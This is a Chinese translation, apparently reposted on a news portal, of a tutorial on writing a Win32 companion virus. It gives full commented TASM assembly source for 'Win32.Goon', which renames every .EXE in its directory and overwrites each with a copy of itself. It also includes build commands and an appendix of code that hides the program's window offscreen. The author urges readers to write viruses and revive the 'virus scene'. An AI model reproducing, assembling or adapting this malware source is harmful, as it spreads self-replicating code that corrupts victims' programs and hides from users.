分享
 
 
 

黑吃黑:怎么编写简单的Win32伴侣病毒

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

译者的话:

1. 因为格式问题,本文需用“写字板”打开才能正常阅读

2. 本人只是翻译他人文章,对任何人利用本文造成不良后果不负任何责任!

3. 以下,即原文开始:

朋友们好,

今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这

篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,

但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会

写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它->你必须坚持!

++++声明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

你可以引用本文代码,但如果你想....的话,我对你因本文造成的任何破坏不负任何责任!

我的母语不是英语,希望你能理解我话的意思.如果有任何建议可写信至 DiA_hates_machine@gmx.de

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.....................................................

. .

. 索引: _1_ : 什么是伴侣病毒 .

. .

. _2_ : 伴侣病毒如何工作的 .

. .

. _3_ : 带注释的病毒例子 .

. .

. _4_ : 结束语 .

. .

. _666_ : 附加 [Fuck da Window] .

. .

.....................................................

*** _1_ : 什么是伴侣病毒 ***

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把

自己复制为宿主程序原来的文件名.当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序

。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原

理图。

第一步:

/-------------\ /-----------| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

复制为

|

|

/-------------| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢复方法:

删除Program.EXE

把Program.SYS重命名回Program.EXE

所做就这些了...

*** _2_ : 伴侣病毒如何工作的 ***

1. 获取病毒文件的文件名

2. 创建宿主文件的原先文件名

3. 在当前目录搜索到第一个文件

4. 将目标文件复制为另一个文件名

5. 把病毒文件复制为目标文件脑?任募??

6. 搜索下一个文件->重复4. -->没有其他文件 跳到7.

7. 运行宿主程序 (经过了步 2.)

8. 病毒退出

*** _3_ : 带注释的病毒例子 ***

理论够充足了!让我们看它怎么工作...

编译方法:

TASM32 /z /ml /m3 Goon,,;

TLINK32 -Tpe -c Goon,Goon,, import,lib

;-----cut----------------------------------------Goon.asm-----------------------------------

.386 ;386指令集

.model flat ;内存平坦模式

jumps ;TASM rulez

;+++++

; 你能理解,我想 :)

;+++++

extrn GetCommandLineA :PROC ;获取病毒文件和宿主文件

extrn lstrcpyA :PROC ;复制字符串

extrn FindFirstFileA :PROC ;搜索当前目录第一个匹配的文件

extrn FindNextFileA :PROC ;通过文件句柄搜索下一个文件

extrn CopyFileA :PROC ;复制文件 (往上看 _2_)

extrn CreateProcessA :PROC ;运行宿主

extrn ExitProcess :PROC ;退出病毒程序

;+++++

; 这里,我们声明必需的API函数

; 我想你能理解

;+++++

.data

Goon db ’Win32.Goon - Virus’,0

db ’Only a Example Code’,0

db ’by DiA/auXnet’,0

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

WIN32_FIND_DATA label byte

WFD_dwFileAttributes dd ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh dd ?

WFD_nFileSizeLow dd ?

WFD_dwReserved0 dd ?

WFD_dwReserved1 dd ?

WFD_szFileName db 260d dup (?)

WFD_szAlternateFileName db 13 dup (?)

WFD_szAlternateEnding db 03 dup (?)

;+++++

; 这是 Win32 Find data:

; 这里保存关于目标文件的所有数据

; 我们仅仅对包含目标文件的名称的"WFD_szFileName"

; 记住我们必须复制目标文件成另外一个文件名,

; 而把病毒复制成目标文件最先的文件名

;+++++

VirusFile db 260d dup (0)

HostFile db 260d dup (0)

HostCopy db 260d dup (0)

;+++++

; 这里创建文件名的空间:病毒文件名,宿主文件名,

; 还有我们必须创建的文件名(从目标文件复制)

;+++++

FileMask db ’*.EXE’,0

FindHandle dd 0

ProcessInfo dd 4 dup (0)

StartupInfo dd 4 dup (0)

;+++++

; 包含我们必须搜索的文件

; FileHandle 包含搜索的文件的句柄 (FindNextFileA)

; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)

;+++++

.code

start:

;+++++

; ROCK ’N ROLL =)

;+++++

call GetCommandLineA

;+++++

; 这里我们获取包含正在运行的程序文件名的CommandLine

; (病毒文件 :). 现在,line 在eax了, 看下一步...

;+++++

inc eax ; fuck da "

push eax

push offset VirusFile

call lstrcpyA ;复制它

;+++++

; 为什么要’inc eax’???

; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")

; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方

; 它从eax复制到VirusFile

;+++++

mov esi,offset VirusFile ;now in esi

call GetPoint ;call a kewl procedure ;)

;+++++

; we must find da point to fuck the other "

; 让我们看看...

;+++++

mov dword ptr [esi+4],00000000d ;清除它

;+++++

; 我们走到.EXE后面并清除"号

; ->现在我们得到完整funcional VirusFile

;+++++

push offset VirusFile

push offset HostFile

call lstrcpyA

;+++++

; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)

; ...

;+++++

mov esi,offset HostFile

call GetPoint

;+++++

; 得到指针...

;+++++

mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’

;+++++

; 把它重命名为 .SYS (last 4 letters with point)

; 现在我们得到HostFile, 可能运行宿主...

; ...但是等等! 我们必须感染文件!!!

;+++++

push offset WIN32_FIND_DATA

push offset FileMask

call FindFirstFileA

mov dword ptr [FindHandle],eax ;保存句柄

;+++++

; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...

; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...

;+++++

FindNext:

test eax,eax ;还有文件?

jz RunHost ;如果没有就跳到RunHost

;+++++

; 当eax是null,说明当前目录里没有更多的文件可以被感染了

; 所有的文件都感染后就运行宿主

;+++++

push offset WFD_szFileName

push offset HostCopy

call lstrcpyA

;+++++

; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它

;+++++

mov esi,offset HostCopy

call GetPoint

;+++++

; 得到指针来重命名文件名为.SYS

; 稍后使用它复制原先的文件为宿主文件

;+++++

mov dword ptr [esi],5359532Eh ; SYS.

;+++++

; 把它重命名为 .SYS (last 4 letters)

; 现在我们做所以工作完成感染目标文件:

; 病毒文件名

; 原先文件名

; 重命名目标文件名

; rock ’n roll =)

;+++++

push 1 ;如果文件已存在就不复制

push offset HostCopy

push offset WFD_szFileName

call CopyFileA

;+++++

; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys

; 如果文件已经存在,我们就不要复制它,我们不能复制它两次

;+++++

push 0 ;无条件复制

push offset WFD_szFileName

push offset VirusFile

call CopyFileA

;+++++

; 我们复制病毒为目标.EXE文件

; 无条件复制,因为我们不能有两个宿主而没有病毒

;+++++

push offset WIN32_FIND_DATA

push dword ptr [FindHandle]

call FindNextFileA

jmp FindNext

;+++++

; 你还记得我们保存FindHandle吧...

; 我们搜索更多的文件!

; 跳到FindNext并检查更多的文件

;+++++

RunHost:

xor eax,eax ;null

push offset ProcessInfo ;这个,我们不感兴趣

push offset StartupInfo ;...

push eax

push eax

push 00000010h ;创建进程

push eax

push eax

push eax

push offset HostFile

push offset HostFile ;运行它

call CreateProcessA

;+++++

; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行

;+++++

push 0

call ExitProcess

;+++++

; 所有这些做完,我们把控制交给宿主

;+++++

GetPoint:

cmp byte ptr [esi],’.’ ;point?

jz FoundPoint ;je return

inc esi ;scan next place

jmp GetPoint

FoundPoint:

ret ;return

;+++++

; at last the GetPoint procedure...

; scan for ’.’ and if found return to place where are called

;+++++

end start

;+++++

; 晚安

;+++++

;-----cut-----------------------------------------------------------------------------------

*** _4_ : 结束语 ***

嗯,教程完毕。现在你可以写Win32伴侣病毒了。继续写代码,不断学习...读Benny的文章,

你想坚持下去;)我们必须帮助病毒界在不久将来重放光芒!!!

向Benny/29A表示致谢- 是你用杰出的文章激发我写下这篇教程

谢谢阅读...

*** _666_ : 附加 [Fuck da Window] ***

下面给出一种隐藏病毒的简单方法(你知道... 控制台)

;-----cut-----FuckW.asm---------------------------------------------------------------------

.386

.model flat

jumps

;+++++

; bla bla bla

;+++++

extrn SetConsoleTitleA :PROC

extrn FindWindowA :PROC

extrn SetWindowPos :PROC

extrn Sleep :PROC

;+++++

; needed API’s from the FuckWindow procedure

;+++++

extrn MessageBoxA :PROC

extrn ExitProcess :PROC

;+++++

; 这里是其他API

; 仅仅是显示它在工作,还有退出

;+++++

.data

oTitle db ’Only to Show...’,0

oMsg db ’See you a Window in the Back?’,10,13

db ’No, thats good, hee?’,10,13

db ’ DiA /auXnet’,0

;+++++

; 仅仅是摆下姿态 ;)

;+++++

NewConsoleTitle db ’[ANVX]’,0

WindowHandle dd 0

;+++++

; 这里是一个新的控制台标题(任何你想的...)

; 还有WindowHandle,用来保存句柄

;+++++

.code

start:

;+++++

; 这是你掌握的...

;+++++

call FuckWindow

;+++++

; 我们调用这个函数,首先快速隐藏窗体

;+++++

push 0

push offset oTitle

push offset oMsg

push 0

call MessageBoxA

push 0

call ExitProcess

;+++++

; 在这时写下你的代码,任何你想写的...

;+++++

FuckWindow: ;函数

push offset NewConsoleTitle

call SetConsoleTitleA

;+++++

; 这里是隐藏窗体的函数

; 首先我们认定一个新的控制台标题,我们知道窗体必须隐藏

;+++++

call Sleep5 ;过程

;+++++

; 短短的休眠(5 mil sek)它能更好地工作

;+++++

push offset NewConsoleTitle

push 0

call FindWindowA

mov dword ptr [WindowHandle],eax ;句柄

;+++++

; 往上看!我们定义一个新的控制台标题...

; 现在我们搜索窗体(NewConsoleTitle)并保存 WindowHandle

;+++++

call Sleep5

;+++++

; 休眠是很好的...

;+++++

push 0

push 1 ;窗体高度

push 1 ;窗体宽度

push 20000 ;Y

push 20000 ;X

push 0

push dword ptr [WindowHandle]

call SetWindowPos

ret

;+++++

; 通过SetWindowPos隐藏窗体

; 窗体的高和宽是1 (看不到了 :)

; 还有xy坐标是20000 . 在屏幕外面了 =)

; 返回...

;+++++

Sleep5:

push 5

call Sleep

ret

;+++++

; 容易, sleep 5mil sek

; 返回...

;+++++

end start

;-----cut-----------------------------------------------------------------------------------

...编译方法:

TASM32 /z /ml /m3 YourProc,,;

TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

效果-> 现在不是一个"控制台", 它运行在"窗体"下...

完毕。查看TASM说明!

祝你好运...

继续写代码...

_________________

DiA /auXnet (c)02

_________________ (e129)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有